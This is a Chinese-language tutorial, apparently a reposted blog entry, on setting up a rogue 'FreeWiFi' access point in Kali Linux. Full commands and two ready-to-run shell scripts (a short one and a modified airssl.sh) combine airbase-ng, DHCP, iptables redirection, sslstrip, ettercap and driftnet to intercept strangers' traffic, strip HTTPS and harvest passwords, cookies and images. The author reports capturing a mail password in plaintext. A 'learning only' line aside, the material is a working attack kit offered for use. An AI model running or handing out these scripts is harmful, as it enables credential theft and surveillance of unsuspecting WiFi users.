釣魚WIFI搭建


 

1、無線網卡

2、KaliLinux操作系統,這里就不用說了,必備的

3、isc-dhcp-server服務器。安裝好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可

4、Aircrack-ng套件   #用來發送數據

5、sslstrip       用來突破SSL加密

6、ettercap     用來嗅探劫持

 

后面三個軟件KaliLinux都自帶有,不用安裝即可。

首先強調下,后面的bash腳本適用於使用isc-dhcp-server這個bash腳本,建立釣魚熱點。

 

安裝dhcp服務

apt-get install isc-dhcp-server

配置文件分別在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置監聽端口,這里以wlan0為例

配置dhcp文件后,斷開wlan0的網絡,分配一個ip

ifconfig wlan0 192.168.1.2/24

 

啟動dhcp服務

/etc/init.d/isc-dhcp-server start 或者

service isc-dhcp-server start

 

建立熱點:

將下文寫好的airssl.sh添加執行權限

bash airssl.sh

然后分別是AP建立,DHCP建立,sslstrip開啟,ettercap開啟。

這里再介紹一種方法,是使用 airbase-ng + dhcpd 創建虛擬WiFi熱點;順便使用 sslstrip+ettercap 進行中間人攻擊,嗅探使用者的上網信息和劫持cookie!

所需要的軟件如下;kali-linux都已經自帶了,其他的系統可以自行安裝:
Aircrack-ng 套件    #用來發送數據
isc-dhcp-server    #簡單的dhcp服務器
sslstrip       #突破ssl加密
ettercap      #嗅探劫持

leaf /etc/dhcp/dhcpd.conf   編輯dhcp服務器配置文件,修改如下:

authoritative;

default-lease-time 700;
max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

然后激活網卡至監聽模式:
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0

此時虛擬wifi的信號已經發送出去了,如果出現錯誤:
Error: Got channel -1, expected a value > 0.
執行如下命令:

airmon-ng stop mon0

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

然后從激活網卡至監聽模式那里重新開始。
接着執行如下命令:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start

虛擬WiFir熱點創建成功,接下來就是嗅探欺騙釣魚了:

sslstrip -fpk 10000
ettercap -Tpuqi at0

然后就等着魚兒上鈎吧!

手機上測試了下,網易郵箱直接明文密碼:

Kali-Linux下創建一個釣魚WiFi熱點 - xiao106347 - Linux 折騰筆記

 
百度使用了加密:

Kali-Linux下創建一個釣魚WiFi熱點 - xiao106347 - Linux 折騰筆記

 

Kali-Linux下創建一個釣魚WiFi熱點 - xiao106347 - Linux 折騰筆記

 寫了一個腳本,修改成自己的設置每次執行就ok了:
復制下面代碼,保存為 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh 

#!/bin/sh

echo "即將創建WiFi熱點,請確保dhcpd.conf已經配置好!" &
sleep 5

ifconfig wlan0 down #wlan0修改成你的網卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up

airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的熱點名稱和信道
sleep 5

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0

 

 

代碼如下:

 


  1. #!/bin/bash  
  2. # 修改版,原版信息如下:  
  3. ########################################################  
  4. # ©opyright 2009 - killadaninja - Modified G60Jon 2010  
  5. # airssl.sh - v1.0  
  6. # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh  
  7. ########################################################  
  8. # Network questions  
  9. echo "AIRSSL_KALI"  
  10. echo "修該版本,適用於kali或者使用isc-dhcp-server的環境,原版信息如下:"  
  11. echo "AIRSSL 2.0 - Credits killadaninja & G60Jon  "  
  12. echo "僅供學習用途"  
  13. echo  
  14. route -n -A inet | grep UG  
  15. echo "DNS服務器.例如8.8.8.8: "  
  16. read -e dnsip  
  17. echo "網關地址.例如192.168.0.1:"  
  18. read -e gatewayip  
  19. echo "接入internet的接口.例如eth1: "  
  20. read -e internet_interface  
  21. echo "用於建立AP的接口.例如wlan0: "  
  22. read -e fakeap_interface  
  23. echo "AP的ESSID: "  
  24. read -e ESSID  
  25. airmon-ng start $fakeap_interface  
  26. fakeap=$fakeap_interface  
  27. fakeap_interface="mon0"  
  28.   
  29. # Dhcpd creation  
  30. mkdir -p "/pentest/wireless/airssl"  
  31. cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak  
  32. cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak  
  33. echo "ddns-update-style none;  
  34. default-lease-time 600;  
  35. max-lease-time 7200;  
  36. authoritative;  
  37. log-facility local7;  
  38. ">/etc/dhcp/dhcpd.conf  
  39.   
  40. echo -n "subnet 192.168.0.0 netmask 255.255.255.0 {  
  41.   range 192.168.0.100 192.168.0.200;   
  42.   option domain-name-servers ">>/etc/dhcp/dhcpd.conf  
  43. echo -n $dnsip>>/etc/dhcp/dhcpd.conf  
  44. echo -n ";  
  45. # option domain-name "internal.example.org";  
  46.   option routers ">>/etc/dhcp/dhcpd.conf  
  47. echo -n $gatewayip>>/etc/dhcp/dhcpd.conf  
  48. echo -n ";  
  49.   option broadcast-address 192.168.0.255;  
  50.  default-lease-time 600;  
  51.  max-lease-time 7200;  
  52. }" >> /etc/dhcp/dhcpd.conf  
  53. echo "  
  54. DHCPD_CONF=/etc/dhcp/dhcpd.conf  
  55. DHCPD_PID=/var/run/dhcpd.pid  
  56. INTERFACES="at0"  
  57. ">/etc/default/isc-dhcp-server  
  58. # Fake ap setup  
  59. echo "[+] Configuring FakeAP...."  
  60. echo  
  61. echo "Airbase-ng will run in its most basic mode, would you like to  
  62. configure any extra switches? "  
  63. echo  
  64. echo "Choose Y to see airbase-ng help and add switches. "  
  65. echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "  
  66. echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "  
  67. echo "Y, N or A "  
  68.   
  69. read ANSWER  
  70.   
  71. if [ $ANSWER = "y" ] ; then  
  72. airbase-ng --help  
  73. fi  
  74.   
  75. if [ $ANSWER = "y" ] ; then  
  76. echo  
  77. echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be  
  78. redefined, also in this mode you MUST define a channel "  
  79. read -e aswitch  
  80. echo  
  81. echo "[+] Starting FakeAP..."  
  82. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!  
  83. sleep 2  
  84. fi  
  85.   
  86. if [ $ANSWER = "a" ] ; then  
  87. echo  
  88. echo "[+] Starting FakeAP..."  
  89. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!  
  90. sleep 2  
  91. fi  
  92.   
  93. if [ $ANSWER = "n" ] ; then  
  94. echo  
  95. echo "[+] Starting FakeAP..."  
  96. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!  
  97. sleep 2  
  98. fi  
  99.   
  100. # Tables  
  101. echo "[+] Configuring forwarding tables..."  
  102. ifconfig lo up  
  103. ifconfig at0 up &  
  104. sleep 1  
  105. ifconfig at0 $gatewayip netmask 255.255.255.0  
  106. ifconfig at0 mtu 1400  
  107. route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip   
  108. iptables --flush  
  109. iptables --table nat --flush  
  110. iptables --delete-chain  
  111. iptables --table nat --delete-chain  
  112. echo 1 > /proc/sys/net/ipv4/ip_forward  
  113. iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip  
  114. iptables -P FORWARD ACCEPT  
  115. iptables --append FORWARD --in-interface at0 -j ACCEPT  
  116. iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE  
  117. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000  
  118.   
  119. # DHCP  
  120. echo "[+] Setting up DHCP..."  
  121. #touch /var/run/dhcpd.pid  
  122. #chown dhcpd:dhcpd /var/run/dhcpd.pid  
  123. #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!  
  124. #sleep 3  
  125. /etc/init.d/isc-dhcp-server start  
  126. # Sslstrip  
  127. echo "[+] Starting sslstrip..."  
  128. xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!  
  129. sleep 2  
  130.   
  131. # Ettercap  
  132. echo "[+] Configuring ettercap..."  
  133. echo  
  134. echo "Ettercap will run in its most basic mode, would you like to  
  135. configure any extra switches for example to load plugins or filters,  
  136. (advanced users only), if you are unsure choose N "  
  137. echo "Y or N "  
  138. read ETTER  
  139. if [ $ETTER = "y" ] ; then  
  140. ettercap --help  
  141. fi  
  142.   
  143. if [ $ETTER = "y" ] ; then  
  144. echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here  
  145. For the sake of airssl, ettercap WILL USE -u and -p so you are advised  
  146. NOT to use -M, also -i is already set and CANNOT be redifined here.  
  147. Ettercaps output will be saved to /pentest/wireless/airssl/passwords  
  148. DO NOT use the -w switch, also if you enter no switches here ettercap will fail "  
  149. echo  
  150. read "eswitch"  
  151. echo "[+] Starting ettercap..."  
  152. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!  
  153. sleep 1  
  154. fi  
  155.   
  156. if [ $ETTER = "n" ] ; then  
  157. echo  
  158. echo "[+] Starting ettercap..."  
  159. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!  
  160. sleep 1  
  161. fi  
  162.   
  163. # Driftnet  
  164. echo  
  165. echo "[+] Driftnet?"  
  166. echo  
  167. echo "Would you also like to start driftnet to capture the victims images,  
  168. (this may make the network a little slower), "  
  169. echo "Y or N "  
  170. read DRIFT  
  171.   
  172. if [ $DRIFT = "y" ] ; then  
  173. mkdir -p "/pentest/wireless/airssl/driftnetdata"  
  174. echo "[+] Starting driftnet..."  
  175. driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!  
  176. sleep 3  
  177. fi  
  178.   
  179. xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!  
  180.   
  181. clear  
  182. echo  
  183. echo "[+] Activated..."  
  184. echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "  
  185. echo  
  186. echo "[+] IMPORTANT..."  
  187. echo "使用完畢請鍵入Y恢復系統配置,否則可能會出現問題!"  
  188. read WISH  
  189.   
  190. # Clean up  
  191. if [ $WISH = "y" ] ; then  
  192. echo  
  193. echo "[+] Cleaning up airssl and resetting iptables..."  
  194.   
  195. kill ${fakeapid}  
  196. kill ${dchpid}  
  197. kill ${sslstripid}  
  198. kill ${ettercapid}  
  199. kill ${dritnetid}  
  200. kill ${sslstriplogid}  
  201.   
  202. airmon-ng stop $fakeap_interface  
  203. airmon-ng stop $fakeap  
  204. echo "0" > /proc/sys/net/ipv4/ip_forward  
  205. iptables --flush  
  206. iptables --table nat --flush  
  207. iptables --delete-chain  
  208. iptables --table nat --delete-chain  
  209. mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server  
  210. mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf  
  211. /etc/init.d/isc-dhcp-server stop   
  212.   
  213. echo "[+] Clean up successful..."  
  214. echo "[+] Thank you for using airssl, Good Bye..."  
  215. exit  
  216.   
  217. fi  
  218. exit  


做這個最重要的還是寫shell腳本

 

后面的腳本如果都能自己寫出來,才是真正的大神。本人菜鳥,歡迎各位大神狂噴


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM